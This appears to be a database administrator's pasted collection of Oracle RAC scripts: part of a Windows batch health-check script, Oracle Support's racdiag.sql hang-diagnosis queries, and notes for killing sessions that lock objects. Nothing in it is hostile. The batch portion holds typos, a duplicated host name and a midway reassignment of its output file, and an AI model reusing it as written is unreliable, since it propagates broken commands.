echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
color b
set PATH=%ORA_CRS_HOME_BIN%;
echo ################################ Checing CRS ################################ >> %ORA_DIAG_OUPUT%
crsctl check crs >> %ORA_DIAG_OUPUT%
crsctl check cluster -all >> %ORA_DIAG_OUPUT%
echo ################################ Quick Check CRS Stats ###################### >> %ORA_DIAG_OUPUT%
crs_stat -t >> %ORA_DIAG_OUPUT%
crsctl stat res -t >> %ORA_DIAG_OUPUT%
echo ################################  Checking RAC DB Status #################### >> %ORA_DIAG_OUPUT%
srvctl status database -d %ORA_DB_NAME% -v >> %ORA_DIAG_OUPUT%
echo ################################  Checking Instance Status ################## >> %ORA_DIAG_OUPUT%
srvctl status instance  -d %ORA_DB_NAME% -i %ORA_DB_INST1% -v >> %ORA_DIAG_OUPUT%
srvctl status instance  -d %ORA_DB_NAME% -i %ORA_DB_INST2% -v >> %ORA_DIAG_OUPUT%
echo ################################ Status of all Nodes ######################## >> %ORA_DIAG_OUPUT%
srvctl status nodeapps -n %CRS_HOST1% >> %ORA_DIAG_OUPUT%
srvctl status nodeapps -n %CRS_HOST2% >> %ORA_DIAG_OUPUT%
echo ################################ Checking OCR ############################### >> %ORA_DIAG_OUPUT%
echo *********OCRCHECK >> %ORA_DIAG_OUPUT%
ocrcheck >> %ORA_DIAG_OUPUT%
echo *********OCR Backup >> %ORA_DIAG_OUPUT%
ocrconfig -showbackup  >> %ORA_DIAG_OUPUT%
echo ################################ Checking VOTE Disk ######################### >> %ORA_DIAG_OUPUT%
crsctl query css votedisk >> %ORA_DIAG_OUPUT%
echo ################################ Checking current settings for VIP diag###### >> %ORA_DIAG_OUPUT%
srvctl config nodeapps  -a -g -s >> %ORA_DIAG_OUPUT%
echo ################################ Checking Cluster Time Synchronization ###### >> %ORA_DIAG_OUPUT%
crsctl check ctss >> %ORA_DIAG_OUPUT%
echo ################ Checking High Availability Services automatic startup ###### >> %ORA_DIAG_OUPUT%
crsctl config crs >> %ORA_DIAG_OUPUT%
cho ################################ Checking ASM  ############################### >> %ORA_DIAG_OUPUT%
echo *********ASM Disks >> %ORA_DIAG_OUPUT%
asmtool -list >> %ORA_DIAG_OUPUT%
echo *********ASM Instances >> %ORA_DIAG_OUPUT%
srvctl status asm -n %CRS_HOST1% >> %ORA_DIAG_OUPUT%
srvctl status asm -n %CRS_HOST2% >> %ORA_DIAG_OUPUT%
echo *********ASM Diskgroups >> %ORA_DIAG_OUPUT%
set ORACLE_SID=%ORACLE_ASM_SID%
set ORACLE_HOME=%ORA_DB_HOME%
%ORA_DB_HOME%\bin\asmcmd ls >> %ORA_DIAG_OUPUT%
%ORA_DB_HOME%\bin\asmcmd lsdg >> %ORA_DIAG_OUPUT%
set ORACLE_SID=NULL

echo
echo
echo ################################ Checking CLUVFY ############################ >> %ORA_DIAG_OUPUT%
color c
echo *********** compliance with mandatory requirements and best practices >> %ORA_DIAG_OUPUT%
cluvfy comp healthcheck >> %ORA_DIAG_OUPUT%
echo
echo
echo *********** CRSINST >> %ORA_DIAG_OUPUT%
cluvfy stage -pre crsinst -n %CRS_HOST1%,%CRS_HOST1% -verbose >> %ORA_DIAG_OUPUT%
echo *********** DBINST >> %ORA_DIAG_OUPUT%
cluvfy stage -pre dbinst -n %CRS_HOST1%,%CRS_HOST1% -verbose >> %ORA_DIAG_OUPUT%
echo *********** DBCFG >> %ORA_DIAG_OUPUT%
cluvfy stage -pre dbcfg -n all -d %ORA_CRS_HOME% -verbose >> %ORA_DIAG_OUPUT%
ehco

goto :DATABASE
:DATABASE
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Database                                          # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
color d
set ORACLE_SID=%ORA_DB_INST1%
set ORACLE_SID=RAC1
echo ################################ Running Scripts on DB ###################### >> %ORA_DIAG_OUPUT%
echo *********** SGA >> %ORA_DIAG_OUPUT%
set ORA_DIAG_OUPUT=sami.txt
del temp.sql
del temp
echo set lines 180
echo set pages 50
echo spool temp >> temp.sql
echo show sga; >> temp.sql
echo select  '*********** List of all datafiles' " " from dual; >> temp.sql
echo select substr(file_name,1,50) file_name, bytes/1024/1024  from dba_data_files; >> temp.sql
echo select '*********** Status of all the groups' " " from dual; >> temp.sql
echo select group#, type, substr(member,1,50) member, is_recovery_dest_file  from v$logfile order by group#; >> temp.sql
echo select '*********** diskgroup view' " " from dual; >> temp.sql
echo select group_number, substr(name,1,20),allocation_unit_size alloc_unit_size,state,type,total_mb,usable_file_mb from v$asm_diskgroup; >> temp.sql

echo spool off >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
type temp.lst  >> %ORA_DIAG_OUPUT%
echo
:ERROR
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Errors                                            # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

color e
echo ################################ Checking for 07445 ######################### >> %ORA_DIAG_OUPUT%
find "ora-07445" %ORA_DB_ALERT_FILE% /I /N >> %ORA_DIAG_OUPUT%
echo ################################ Checking for 00600 ######################### >> %ORA_DIAG_OUPUT%
find "ora-00600" %ORA_DB_ALERT_FILE% /I /N >> %ORA_DIAG_OUPUT%
echo
:RMAN
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - RMAN                                              # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
color f
set ORACLE_SID=%ORA_DB_INST1%

echo ################################ RMAN Configurations ######################## >> %ORA_DIAG_OUPUT%
del temp.sql
del temp
echo show all; >> temp.rcv
echo list backup; >> temp.rcv
%ORA_DB_HOME%\bin\rman target / CMDFILE=temp.rcv >>  %ORA_DIAG_OUPUT%
del temp.rcv
echo

:ADDM
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - ADDM                                              # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
color
echo ################################ Running ADDM ########################### >> %ORA_DIAG_OUPUT%
echo *********** Please provide the begin/end snap ids and filename must be temp
del temp.sql
del temp
echo @%ORA_DB_HOME%\RDBMS\ADMIN\addmrpt; >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
type temp.lst  >> %ORA_DIAG_OUPUT%
echo ################################ End of ADDM ########################### >> %ORA_DIAG_OUPUT%
echo
:AWR
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - AWR                                               # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
echo ################################ Running AWR ################################ >> %ORA_DIAG_OUPUT%
del temp.sql
del temp
echo @%ORA_DB_HOME%\RDBMS\ADMIN\awrrpt; >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
echo ################################ End of AWR ################################# >> %ORA_DIAG_OUPUT%
type temp.lst  >> %ORA_DIAG_OUPUT%
echo
goto :EOF
:EOF
EVENTCREATE /T INFORMATION /ID 1000 /L APPLICATION /D " Finished Oracle RAC/DB Health Check by Sami"
echo
echo
echo Helath Check Finished: %date% - %time% >> %ORA_DIAG_OUPUT%

******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********


-- NAME: RACDIAG.SQL
-- SYS OR INTERNAL USER, CATPARR.SQL ALREADY RUN, PARALLEL QUERY OPTION ON
-- ------------------------------------------------------------------------
-- AUTHOR:
-- Michael Polaski - Oracle Support Services
-- Copyright 2002, Oracle Corporation
-- ------------------------------------------------------------------------
-- PURPOSE:
-- This script is intended to provide a user friendly guide to troubleshoot
-- RAC hung sessions or slow performance scenerios. The script includes
-- information to gather a variety of important debug information to determine
-- the cause of a RAC session level hang. The script will create a file
-- called racdiag_.out in your local directory while dumping hang analyze
-- dumps in the user_dump_dest(s) and background_dump_dest(s) on all nodes.
--
-- ------------------------------------------------------------------------
-- DISCLAIMER:
-- This script is provided for educational purposes only. It is NOT
-- supported by Oracle World Wide Technical Support.
-- The script has been tested and appears to work as intended.
-- You should always run new scripts on a test instance initially.
-- ------------------------------------------------------------------------
-- Script output is as follows:
set echo off
set feedback off
column timecol new_value timestamp
column spool_extension new_value suffix
select to_char(sysdate,'Mondd_hhmi') timecol,
'.out' spool_extension from sys.dual;
column output new_value dbname
select value || '_' output
from v$parameter where name = 'db_name';
spool racdiag_&&dbname&&timestamp&&suffix
set lines 200
set pagesize 35
set trim on
set trims on
alter session set nls_date_format = 'MON-DD-YYYY HH24:MI:SS';
alter session set timed_statistics = true;
set feedback on
select to_char(sysdate) time from dual;
set numwidth 5
column host_name format a20 tru
select inst_id, instance_name, host_name, version, status, startup_time
from gv$instance
order by inst_id;
set echo on
-- WAIT CHAINS
-- 11.x+ Only (This will not work in < v11
-- See Note 1428210.1 for instructions on interpreting.
set pages 1000
set lines 120
set heading off
column w_proc format a50 tru
column instance format a20 tru
column inst format a28 tru
column wait_event format a50 tru
column p1 format a16 tru
column p2 format a16 tru
column p3 format a15 tru
column Seconds format a50 tru
column sincelw format a50 tru
column blocker_proc format a50 tru
column waiters format a50 tru
column chain_signature format a100 wra
column blocker_chain format a100 wra
SELECT *
FROM (SELECT 'Current Process: '||osid W_PROC, 'SID '||i.instance_name INSTANCE,
'INST #: '||instance INST,'Blocking Process: '||decode(blocker_osid,null,'',blocker_osid)||
' from Instance '||blocker_instance BLOCKER_PROC,'Number of waiters: '||num_waiters waiters,
'Wait Event: ' ||wait_event_text wait_event, 'P1: '||p1 p1, 'P2: '||p2 p2, 'P3: '||p3 p3,
'Seconds in Wait: '||in_wait_secs Seconds, 'Seconds Since Last Wait: '||time_since_last_wait_secs sincelw,
'Wait Chain: '||chain_id ||': '||chain_signature chain_signature,'Blocking Wait Chain: '||decode(blocker_chain_id,null,
'',blocker_chain_id) blocker_chain
FROM v$wait_chains wc,
v$instance i
WHERE wc.instance = i.instance_number (+)
AND ( num_waiters > 0
OR ( blocker_osid IS NOT NULL
AND in_wait_secs > 10 ) )
ORDER BY chain_id,
num_waiters DESC)
WHERE ROWNUM < 101;

-- Taking Hang Analyze dumps
-- This may take a little while...
oradebug setmypid
oradebug unlimit
oradebug -g all hanganalyze 3
-- This part may take the longest, you can monitor bdump or udump to see if
-- the file is being generated.
oradebug -g all dump systemstate 258
-- WAITING SESSIONS:
-- The entries that are shown at the top are the sessions that have
-- waited the longest amount of time that are waiting for non-idle wait
-- events (event column). You can research and find out what the wait
-- event indicates (along with its parameters) by checking the Oracle
-- Server Reference Manual or look for any known issues or documentation
-- by searching Metalink for the event name in the search bar. Example
-- (include single quotes): [ 'buffer busy due to global cache' ].
-- Metalink and/or the Server Reference Manual should return some useful
-- information on each type of wait event. The inst_id column shows the
-- instance where the session resides and the SID is the unique identifier
-- for the session (gv$session). The p1, p2, and p3 columns will show
-- event specific information that may be important to debug the problem.
-- To find out what the p1, p2, and p3 indicates see the next section.
-- Items with wait_time of anything other than 0 indicate we do not know
-- how long these sessions have been waiting.
--
set numwidth 10
column state format a7 tru
column event format a25 tru
column last_sql format a40 tru
select sw.inst_id, sw.sid, sw.state, sw.event, sw.seconds_in_wait seconds,
sw.p1, sw.p2, sw.p3, sa.sql_text last_sql
from gv$session_wait sw, gv$session s, gv$sqlarea sa
where sw.event not in
('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
and sw.seconds_in_wait > 0
and (sw.inst_id = s.inst_id and sw.sid = s.sid)
and (s.inst_id = sa.inst_id and s.sql_address = sa.address)
order by seconds desc;
-- EVENT PARAMETER LOOKUP:
-- This section will give a description of the parameter names of the
-- events seen in the last section. p1test is the parameter value for
-- p1 in the WAITING SESSIONS section while p2text is the parameter
-- value for p3 and p3 text is the parameter value for p3. The
-- parameter values in the first section can be helpful for debugging
-- the wait event.
--
column event format a30 tru
column p1text format a25 tru
column p2text format a25 tru
column p3text format a25 tru
select distinct event, p1text, p2text, p3text
from gv$session_wait sw
where sw.event not in ('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
and seconds_in_wait > 0
order by event;
-- GES LOCK BLOCKERS:
-- This section will show us any sessions that are holding locks that
-- are blocking other users. The inst_id will show us the instance that
-- the session resides on while the sid will be a unique identifier for
-- the session. The grant_level will show us how the GES lock is granted to
-- the user. The request_level will show us what status we are trying to
-- obtain.  The lockstate column will show us what status the lock is in.
-- The last column shows how long this session has been waiting.
--
set numwidth 5
column state format a16 tru;
column event format a30 tru;
select dl.inst_id, s.sid, p.spid, dl.resource_name1,
decode(substr(dl.grant_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as grant_level,
decode(substr(dl.request_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as request_level,
decode(substr(dl.state,1,8),'KJUSERGR','Granted','KJUSEROP','Opening',
'KJUSERCA','Canceling','KJUSERCV','Converting') as state,
s.sid, sw.event, sw.seconds_in_wait sec
from gv$ges_enqueue dl, gv$process p, gv$session s, gv$session_wait sw
where blocker = 1
and (dl.inst_id = p.inst_id and dl.pid = p.spid)
and (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by sw.seconds_in_wait desc;
-- GES LOCK WAITERS:
-- This section will show us any sessions that are waiting for locks that
-- are blocked by other users. The inst_id will show us the instance that
-- the session resides on while the sid will be a unique identifier for
-- the session. The grant_level will show us how the GES lock is granted to
-- the user. The request_level will show us what status we are trying to
-- obtain.  The lockstate column will show us what status the lock is in.
-- The last column shows how long this session has been waiting.
--
set numwidth 5
column state format a16 tru;
column event format a30 tru;
select dl.inst_id, s.sid, p.spid, dl.resource_name1,
decode(substr(dl.grant_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as grant_level,
decode(substr(dl.request_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as request_level,
decode(substr(dl.state,1,8),'KJUSERGR','Granted','KJUSEROP','Opening',
'KJUSERCA','Cancelling','KJUSERCV','Converting') as state,
s.sid, sw.event, sw.seconds_in_wait sec
from gv$ges_enqueue dl, gv$process p, gv$session s, gv$session_wait sw
where blocked = 1
and (dl.inst_id = p.inst_id and dl.pid = p.spid)
and (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by sw.seconds_in_wait desc;
-- LOCAL ENQUEUES:
-- This section will show us if there are any local enqueues. The inst_id will
-- show us the instance that the session resides on while the sid will be a
-- unique identifier for. The addr column will show the lock address. The type
-- will show the lock type. The id1 and id2 columns will show specific
-- parameters for the lock type.
--
set numwidth 12
column event format a12 tru
select l.inst_id, l.sid, l.addr, l.type, l.id1, l.id2,
decode(l.block,0,'blocked',1,'blocking',2,'global') block,
sw.event, sw.seconds_in_wait sec
from gv$lock l, gv$session_wait sw
where (l.sid = sw.sid and l.inst_id = sw.inst_id)
and l.block in (0,1)
order by l.type, l.inst_id, l.sid;
-- LATCH HOLDERS:
-- If there is latch contention or 'latch free' wait events in the WAITING
-- SESSIONS section we will need to find out which proceseses are holding
-- latches. The inst_id will show us the instance that the session resides
-- on while the sid will be a unique identifier for. The username column
-- will show the session's username. The os_user column will show the os
-- user that the user logged in as. The name column will show us the type
-- of latch being waited on. You can search Metalink for the latch name in
-- the search bar. Example (include single quotes):
-- [ 'library cache' latch ]. Metalink should return some useful information
-- on the type of latch.
--
set numwidth 5
select distinct lh.inst_id, s.sid, s.username, p.username os_user, lh.name
from gv$latchholder lh, gv$session s, gv$process p
where (lh.sid = s.sid and lh.inst_id = s.inst_id)
and (s.inst_id = p.inst_id and s.paddr = p.addr)
order by lh.inst_id, s.sid;
-- LATCH STATS:
-- This view will show us latches with less than optimal hit ratios
-- The inst_id will show us the instance for the particular latch. The
-- latch_name column will show us the type of latch. You can search Metalink
-- for the latch name in the search bar. Example (include single quotes):
-- [ 'library cache' latch ]. Metalink should return some useful information
-- on the type of latch. The hit_ratio shows the percentage of time we
-- successfully acquired the latch.
--
column latch_name format a30 tru
select inst_id, name latch_name,
round((gets-misses)/decode(gets,0,1,gets),3) hit_ratio,
round(sleeps/decode(misses,0,1,misses),3) "SLEEPS/MISS"
from gv$latch
where round((gets-misses)/decode(gets,0,1,gets),3) < .99
and gets != 0
order by round((gets-misses)/decode(gets,0,1,gets),3);
-- No Wait Latches:
--
select inst_id, name latch_name,
round((immediate_gets/(immediate_gets+immediate_misses)), 3) hit_ratio,
round(sleeps/decode(immediate_misses,0,1,immediate_misses),3) "SLEEPS/MISS"
from gv$latch
where round((immediate_gets/(immediate_gets+immediate_misses)), 3) < .99
and immediate_gets + immediate_misses > 0
order by round((immediate_gets/(immediate_gets+immediate_misses)), 3);
-- GLOBAL CACHE CR PERFORMANCE
-- This shows the average latency of a consistent block request.
-- AVG CR BLOCK RECEIVE TIME should typically be about 15 milliseconds
-- depending on your system configuration and volume, is the average
-- latency of a consistent-read request round-trip from the requesting
-- instance to the holding instance and back to the requesting instance. If
-- your CPU has limited idle time and your system typically processes
-- long-running queries, then the latency may be higher. However, it is
-- possible to have an average latency of less than one millisecond with
-- User-mode IPC. Latency can be influenced by a high value for the
-- DB_MULTI_BLOCK_READ_COUNT parameter. This is because a requesting process
-- can issue more than one request for a block depending on the setting of
-- this parameter. Correspondingly, the requesting process may wait longer.
-- Also check interconnect badwidth, OS tcp settings, and OS udp settings if
-- AVG CR BLOCK RECEIVE TIME is high.
--
set numwidth 20
column "AVG CR BLOCK RECEIVE TIME (ms)" format 9999999.9
select b1.inst_id, b2.value "GCS CR BLOCKS RECEIVED",
b1.value "GCS CR BLOCK RECEIVE TIME",
((b1.value / b2.value) * 10) "AVG CR BLOCK RECEIVE TIME (ms)"
from gv$sysstat b1, gv$sysstat b2
where b1.name = 'global cache cr block receive time' and
b2.name = 'global cache cr blocks received' and b1.inst_id = b2.inst_id
or b1.name = 'gc cr block receive time' and
b2.name = 'gc cr blocks received' and b1.inst_id = b2.inst_id ;
-- GLOBAL CACHE LOCK PERFORMANCE
-- This shows the average global enqueue get time.
-- Typically AVG GLOBAL LOCK GET TIME should be 20-30 milliseconds. the
-- elapsed time for a get includes the allocation and initialization of a
-- new global enqueue. If the average global enqueue get (global cache
-- get time) or average global enqueue conversion times are excessive,
-- then your system may be experiencing timeouts. See the 'WAITING SESSIONS',
-- 'GES LOCK BLOCKERS', GES LOCK WAITERS', and 'TOP 10 WAIT EVENTS ON SYSTEM'
-- sections if the AVG GLOBAL LOCK GET TIME is high.
--
set numwidth 20
column "AVG GLOBAL LOCK GET TIME (ms)" format 9999999.9
select b1.inst_id, (b1.value + b2.value) "GLOBAL LOCK GETS",
b3.value "GLOBAL LOCK GET TIME",
(b3.value / (b1.value + b2.value) * 10) "AVG GLOBAL LOCK GET TIME (ms)"
from gv$sysstat b1, gv$sysstat b2, gv$sysstat b3
where b1.name = 'global lock sync gets' and
b2.name = 'global lock async gets' and b3.name = 'global lock get time'
and b1.inst_id = b2.inst_id and b2.inst_id = b3.inst_id
or b1.name = 'global enqueue gets sync' and
b2.name = 'global enqueue gets async' and b3.name = 'global enqueue get time'
and b1.inst_id = b2.inst_id and b2.inst_id = b3.inst_id;
-- RESOURCE USAGE
-- This section will show how much of our resources we have used.
--
set numwidth 8
select inst_id, resource_name, current_utilization, max_utilization,
initial_allocation
from gv$resource_limit
where max_utilization > 0
order by inst_id, resource_name;
-- DLM TRAFFIC INFORMATION
-- This section shows how many tickets are available in the DLM. If the
-- TCKT_WAIT columns says "YES" then we have run out of DLM tickets which
-- could cause a DLM hang. Make sure that you also have enough TCKT_AVAIL.
--
set numwidth 5
select * from gv$dlm_traffic_controller
order by TCKT_AVAIL;
-- DLM MISC
--
set numwidth 10
select * from gv$dlm_misc;
-- LOCK CONVERSION DETAIL:
-- This view shows the types of lock conversion being done on each instance.
--
select * from gv$lock_activity;
-- TOP 10 WRITE PINGING/FUSION OBJECTS
-- This view shows the top 10 objects for write pings accross instances.
-- The inst_id column shows the node that the block was pinged on. The name
-- column shows the object name of the offending object. The file# shows the
-- offending file number (gc_files_to_locks). The STATUS column will show the
-- current status of the pinged block. The READ_PINGS will show us read
-- converts and the WRITE_PINGS will show us objects with write converts.
-- Any rows that show up are objects that are concurrently accessed across
-- more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_writes) desc)
where rownum < 11
order by WRITE_PINGS desc;
-- TOP 10 READ PINGING/FUSION OBJECTS
-- This view shows the top 10 objects for read pings. The inst_id column shows
-- the node that the block was pinged on. The name column shows the object
-- name of the offending object. The file# shows the offending file number
-- (gc_files_to_locks). The STATUS column will show the current status of the
-- pinged block. The READ_PINGS will show us read converts and the WRITE_PINGS
-- will show us objects with write converts. Any rows that show up are objects
-- that are concurrently accessed across more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_reads) desc)
where rownum < 11
order by READ_PINGS desc;
-- TOP 10 FALSE PINGING OBJECTS
-- This view shows the top 10 objects for false pings. This can be avoided by
-- better gc_files_to_locks configuration. The inst_id column shows the node
-- that the block was pinged on. The name column shows the object name of the
-- offending object. The file# shows the offending file number
-- (gc_files_to_locks). The STATUS column will show the current status of the
-- pinged block. The READ_PINGS will show us read converts and the WRITE_PINGS
-- will show us objects with write converts. Any rows that show up are objects
-- that are concurrently accessed across more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$false_ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_writes) desc)
where rownum < 11
order by WRITE_PINGS desc;
-- INITIALIZATION PARAMETERS:
-- Non-default init parameters for each node.
--
set numwidth 5
column name format a30 tru
column value format a50 wra
column description format a60 tru
select inst_id, name, value, description
from gv$parameter
where isdefault = 'FALSE'
order by inst_id, name;
-- TOP 10 WAIT EVENTS ON SYSTEM
-- This view will provide a summary of the top wait events in the db.
--
set numwidth 10
column event format a25 tru
select inst_id, event, time_waited, total_waits, total_timeouts
from (select inst_id, event, time_waited, total_waits, total_timeouts
from gv$system_event where event not in ('rdbms ipc message','smon timer',
'pmon timer', 'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
order by time_waited desc)
where rownum < 11
order by time_waited desc;
-- SESSION/PROCESS REFERENCE:
-- This section is very important for most of the above sections to find out
-- which user/os_user/process is identified to which session/process.
--
set numwidth 7
column event format a30 tru
column program format a25 tru
column username format a15 tru
select p.inst_id, s.sid, s.serial#, p.pid, p.spid, p.program, s.username,
p.username os_user, sw.event, sw.seconds_in_wait sec
from gv$process p, gv$session s, gv$session_wait sw
where (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by p.inst_id, s.sid;
-- SYSTEM STATISTICS:
-- All System Stats with values of > 0. These can be referenced in the
-- Server Reference Manual
--
set numwidth 5
column name format a60 tru
column value format 9999999999999999999999999
select inst_id, name, value
from gv$sysstat
where value > 0
order by inst_id, name;
-- CURRENT SQL FOR WAITING SESSIONS:
-- Current SQL for any session in the WAITING SESSIONS list
--
set numwidth 5
column sql format a80 wra
select sw.inst_id, sw.sid, sw.seconds_in_wait sec, sa.sql_text sql
from gv$session_wait sw, gv$session s, gv$sqlarea sa
where sw.sid = s.sid (+)
and sw.inst_id = s.inst_id (+)
and s.sql_address = sa.address
and sw.event not in ('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
and sw.seconds_in_wait > 0
order by sw.seconds_in_wait desc;
-- WAIT CHAINS
-- 11.x+ Only (This will not work in < v11
-- See Note 1428210.1 for instructions on interpreting.
set pages 1000
set lines 120
set heading off
column w_proc format a50 tru
column instance format a20 tru
column inst format a28 tru
column wait_event format a50 tru
column p1 format a16 tru
column p2 format a16 tru
column p3 format a15 tru
column seconds format a50 tru
column sincelw format a50 tru
column blocker_proc format a50 tru
column waiters format a50 tru
column chain_signature format a100 wra
column blocker_chain format a100 wra
SELECT *
FROM (SELECT 'Current Process: '||osid W_PROC, 'SID '||i.instance_name INSTANCE,
'INST #: '||instance INST,'Blocking Process: '||decode(blocker_osid,null,'',blocker_osid)||
' from Instance '||blocker_instance BLOCKER_PROC,'Number of waiters: '||num_waiters waiters,
'Wait Event: ' ||wait_event_text wait_event, 'P1: '||p1 p1, 'P2: '||p2 p2, 'P3: '||p3 p3,
'Seconds in Wait: '||in_wait_secs Seconds, 'Seconds Since Last Wait: '||time_since_last_wait_secs sincelw,
'Wait Chain: '||chain_id ||': '||chain_signature chain_signature,'Blocking Wait Chain: '||decode(blocker_chain_id,null,
'',blocker_chain_id) blocker_chain
FROM v$wait_chains wc,
v$instance i
WHERE wc.instance = i.instance_number (+)
AND ( num_waiters > 0
OR ( blocker_osid IS NOT NULL
AND in_wait_secs > 10 ) )
ORDER BY chain_id,
num_waiters DESC)
WHERE ROWNUM < 101;

-- Taking Hang Analyze dumps
-- This may take a little while...
oradebug setmypid
oradebug unlimit
oradebug -g all hanganalyze 3
-- This part may take the longest, you can monitor bdump or udump to see
-- if the file is being generated.
oradebug -g all dump systemstate 258
set echo off
select to_char(sysdate) time from dual;
spool off
-- ---------------------------------------------------------------------------
Prompt;
Prompt racdiag output files have been written to:;
Prompt;
host pwd
Prompt alert log and trace files are located in:;
column host_name format a12 tru
column name format a20 tru
column value format a60 tru
select distinct i.host_name, p.name, p.value
from gv$instance i, gv$parameter p
where p.inst_id = i.inst_id (+)
and p.name like '%_dump_dest'
and p.name != 'core_dump_dest';


quickSQL2017
KILL LOCKED SESSION/OBJECTS
====================
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE USERNAME like 'XXHR' and machine like 'KOUNCIL%';

SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE client_identifier in ('QIA123');
select osuser,machine,terminal,program,logon_time,status,action FROM  GV$SESSION WHERE USERNAME like 'XXHR' and machine like 'KOUNCIL%' order by terminal,logon_time;

SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE client_identifier in ('QIA234')

KILL SESSIONS LOCKING OBJECTS
=============================
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.CLIENT_IDENTIFIER,
   b.status,
   b.osuser,
   b.machine
from
   gv$locked_object a ,
   gv$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id AND OBJECt_NAME LIKE 'XXHR_REST_%' AND b.STATUS='INACTIVE' order by b.client_identifier;

